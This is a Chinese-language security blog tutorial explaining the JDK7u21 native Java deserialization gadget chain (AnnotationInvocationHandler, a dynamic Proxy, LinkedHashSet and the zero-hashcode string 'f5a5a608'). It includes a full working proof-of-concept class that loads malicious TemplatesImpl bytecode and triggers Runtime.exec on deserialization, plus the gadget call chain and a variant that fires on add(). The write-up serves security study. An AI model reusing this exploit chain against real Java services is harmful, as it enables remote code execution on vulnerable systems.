本文最后更新于:2023年9月9日 晚上
[TOC]
【java安全】原生反序列化利用链JDK7u21
前言
前面我们学习了使用第三方类:Common-Collections
、Common-Beanutils
进行反序列化利用。我们肯定会想,如果不利用第三方类库,能否进行反序列化利用链呢?这里还真有:JDK7u21。但是只适用于java 7u及以前的版本
在使用这条利用链时,需要设置jdk为jdk7u21
原理
JDK7u21这条链利用的核心其实就是AnnotationInvocationHandler
,没错,就是我们之前学习过的那个类,位于:sun.reflect.annotation
包下
equalsImpl()
我们看一下equalsImpl()
、getMemberMethods
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| private Boolean equalsImpl(Object var1) { ... } else { Method[] var2 = this.getMemberMethods(); int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) { Method var5 = var2[var4]; String var6 = var5.getName(); Object var7 = this.memberValues.get(var6); Object var8 = null; AnnotationInvocationHandler var9 = this.asOneOfUs(var1); if (var9 != null) { var8 = var9.memberValues.get(var6); } else { try { var8 = var5.invoke(var1); } ...
return true; } }
private transient volatile Method[] memberMethods = null;
private Method[] getMemberMethods() { if (this.memberMethods == null) { this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() { public Method[] run() { Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods(); AccessibleObject.setAccessible(var1, true); return var1; } }); }
return this.memberMethods; }
|
equalsImpl()
方法中明显会调用memberMethod.invoke(o)
,而memberMethod
来自于this.type.getDeclaredMethods()
如果我们此时传入invoke()中的形参为TemplatesImpl
对象,并且this.type
是TemplatesImpl
的字节码对象。
那么经过循环就会调用TemplatesImpl
对象中的每个方法,就必然会调用newTransformer()
或getOutputProperties()
方法从而执行恶意字节码了
如何调用equalsImpl()?
那么在哪里会调用equalsImpl()
方法呢?invoke()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else { assert var5.length == 0;
if (var4.equals("toString")) { return this.toStringImpl(); } else if (var4.equals("hashCode")) { return this.hashCodeImpl(); } else if (var4.equals("annotationType")) { return this.type; } else { Object var6 = this.memberValues.get(var4); ... } } }
|
我们之前cc1中是另this.memberValues
等于一个LazyMap
对象,让其调用get()方法,就可以执行cc1利用链了
但是这里我们不需要利用这里,我们需要注意这里:
1 2 3 4
| if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); }
|
我们应该思考这里的invoke()
方法如何被调用,并且刚好使形参的第二个为equals
、第三个参数的类型为Object
对象
我们之前学习过动态代理,当一个代理对象Proxy
调用一个方法时,就会调用构造该代理对象时传入的InvocationHandler
的invoke()
方法,并且第二个参数为methodName
方法名,invoke()第三个参数为调用方法时传入的参数
所以现在我们需要找到一个类,他在反序列化时,会间接的对Proxy对象调用equals()
方法
HashSet通过反序列化间接执行equals()方法
HashSet可以做到这个效果,实现这个效果有一点复杂,我们先大致了解一下过程
我们创建一个LinkedHashSet
对象,当反序列化时会遍历每一个值,使用LinkedHashMap#put()
方法,
put()方法中这几行是重点
1 2 3 4 5
| int hash = hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k)))
|
这里会对key
的hash与表中取出的e的hash做一个比较,如果这俩个hash相等,但是又不是同一个对象的化,就会执行key
的equals()
方法,传入参数k
这里我们假设key
是Proxy
代理对象,并且这里传入的k
是一个TemplatesImpl
恶意对象,那么就会执行AnnotationInvocationHandler
的invoke()
方法,从而执行equalsImpl()
中的invoke()方法
最终调用了TemplatesImpl
恶意对象的newTransformer()
方法RCE
我们怎么控制上面的key
以及k=e.key
呢?
其实我们上面已经分析了一下,这个key和k其实就是我们添加进入:LinkedHashSet
中的元素而已
1 2 3 4
| HashSet set = new LinkedHashSet(); set.add(templates); set.add(proxy);
|
我们应该先添加TemplatesImpl
对象,再添加Proxy
代理对象,这样才好触发key.equals(k)
如何使hash相等?
我们上面其实默认了一个前提,那就是e.hash == hash
。其实这两个默认肯定不相等,我们需要一些小操作使其相等
我们先来看看HashMap
中的hash()
方法:
1 2 3 4 5 6
| final int hash(Object k) { ... h ^= k.hashCode(); h ^= (h >>> 20) ^ (h >>> 12); return h ^ (h >>> 7) ^ (h >>> 4); }
|
这里自始至终只用到了一个变量k.hashCode()
,其他的都相等,我们想要Proxy
和TemplateImpl
的hash相等,其实只需要让k.hashCode()
相等即可
TemplateImpl的 hashCode() 是一个Native方法,每次运 行都会发生变化,我们理论上是无法预测的,所以想让proxy的 hashCode() 与之相等,只能寄希望于 proxy.hashCode()
当我们调用proxy.hashCode()
时,就会调用创建改代理对象时传入的InvocationHandler
对象的invoke()
方法,我们继续看看invoke()
:
1 2 3 4 5 6 7 8 9
| public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); } else if (var4.equals("hashCode")) { return this.hashCodeImpl(); } ... } }
|
可见,会继续调用invoke()
中的hashCodeImpl()
方法:
1 2 3 4 5 6 7 8 9 10
| private int hashCodeImpl() { int var1 = 0;
Map.Entry var3; for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Map.Entry)var2.next(); }
return var1; }
|
重点是下面这一句,var1是计算累加和的,如果this.memberValues
是一个HashMap
类型并且其中只有一个元素,那么函数的返回值就变成了这个了:
1 2 3
| 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue()) 即: 127 * key.hashCode() ^ value.hashCode()
|
我们想让Proxy
和TemplateImpl
的hash相等,并且TemplateImpl
hash不可控。
上述代码中如果我们令key.hashCode()=0
,并且我们令value
等于TemplateImpl
对象,那么这两个的hash就相等了,进而可以执行Proxy的equals()
方法了
我们需要找到一个值的hashCode为0,是可以通过爆破来实现的:
1 2 3 4 5 6 7 8
| public static void bruteHashCode() { for (long i = 0; i < 9999999999L; i++) { if (Long.toHexString(i).hashCode() == 0) { System.out.println(Long.toHexString(i)); } } }
|
跑出来第一个是 f5a5a608
,这个也是ysoserial中用到的字符串
思路整理
讲完了这么多我们理清一下思路
先创建一个恶意TemplatesImpl
对象:
1 2 3 4
| TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()}); setFieldValue(templates, "_name", "HelloTemplatesImpl"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
|
为了使Proxy
和TemplateImpl
的hash相等,以便执行equals()
,我们需要让AnnotationInvocationHandler
的this.memberValues
等于一个HashMap
并且只有一个元素:key为f5a5a608
,value为:TemplateImpl
对象,这样由AnnotationInvocationHandler
组成的代理对象proxy
与TemplateImpl
的hash就会相等
所以创建一个HashMap
:
1 2 3
| HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo");
|
实例化 AnnotationInvocationHandler 对象
- 它的type属性是一个TemplateImpl类
- 它的memberValues属性是一个Map,Map只有一个key和value,key是字符串 f5a5a608 , value是前面生成的恶意TemplateImpl对象
实例化AnnotationInvocationHandler
类,将map传参进去,经过构造函数设置为memberValues
由于equalImpl()
方法会调用memberMethod.invoke(o)
,这个memberMethod
来自this.type.getDeclaredMethods()
所以需要设置type
为TemplatesImpl
的 字节码,这里构造函数会将第一个参数设为type
1 2 3
| Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); handlerConstructor.setAccessible(true); InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
|
在创建核心的LinkedHashSet
之前,我们需要创建一个代理对象,将tempHandler
给传进去
1 2
| Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
|
然后实例化:HashSet:
1 2 3 4
| HashSet set = new LinkedHashSet(); set.add(templates); set.add(proxy);
|
添加的先后顺序要注意一下,Proxy应该放在后面,这样才会调用Proxy#equals()
这样在反序列化触发rce的流程如下:
首先触发HashSet的readObject()
方法,然后集合中的值会使用LinkedHasnMap
的put(key,常数)
方法进行key去重
去重时计算元素的hashcode
,由于我们已经构造其相等,所以会触发Proxy#equals()
方法
进而调用AnnotationInvocationHandler#invoke()
-> AnnotationInvocationHandler#equalsImpl()
方法
equalsImpl()
会遍历type
的每个方法并调用。
因为this.type
是TemplatesImpl
字节码对象,所以最终会触发newTransformer()
造成RCE
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.HashSet; import java.util.LinkedHashSet; import java.util.Map;
public class JDK7u21 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()}); setFieldValue(templates, "_name", "HelloTemplatesImpl"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo");
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); handlerConstructor.setAccessible(true); InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
HashSet set = new LinkedHashSet(); set.add(templates); set.add(proxy);
map.put(zeroHashCodeStr, templates);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(set); oos.close();
System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
Gadget
1 2 3 4 5 6 7 8 9 10
| HashSet#readObject() LinkedHashMap#put(e, PRESENT) Proxy#equals(k) AnnotationInvocationHandler#invoke() equalsImpl() TemplatesImpl#newTransformer() ... ClassLoader.defineClass() ... Runtime.exec()
|
为什么在HashSet#add()前要将HashMap的value设为其他值?
我们追踪一下HashSet#add()
方法,发现他也会调用HashMap#put()
方法,这样就会导致Proxy提前触发equals()
方法造成命令执行:
我们测试一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.HashSet; import java.util.LinkedHashSet; import java.util.Map;
public class JDK7u21 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()}); setFieldValue(templates, "_name", "HelloTemplatesImpl"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap(); map.put(zeroHashCodeStr, templates);
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); handlerConstructor.setAccessible(true); InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
HashSet set = new LinkedHashSet(); set.add(templates); set.add(proxy);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
成功不经过反序列化就弹出计算器:
所以我们需要先将HashMap
的唯一一个元素的value设为其他值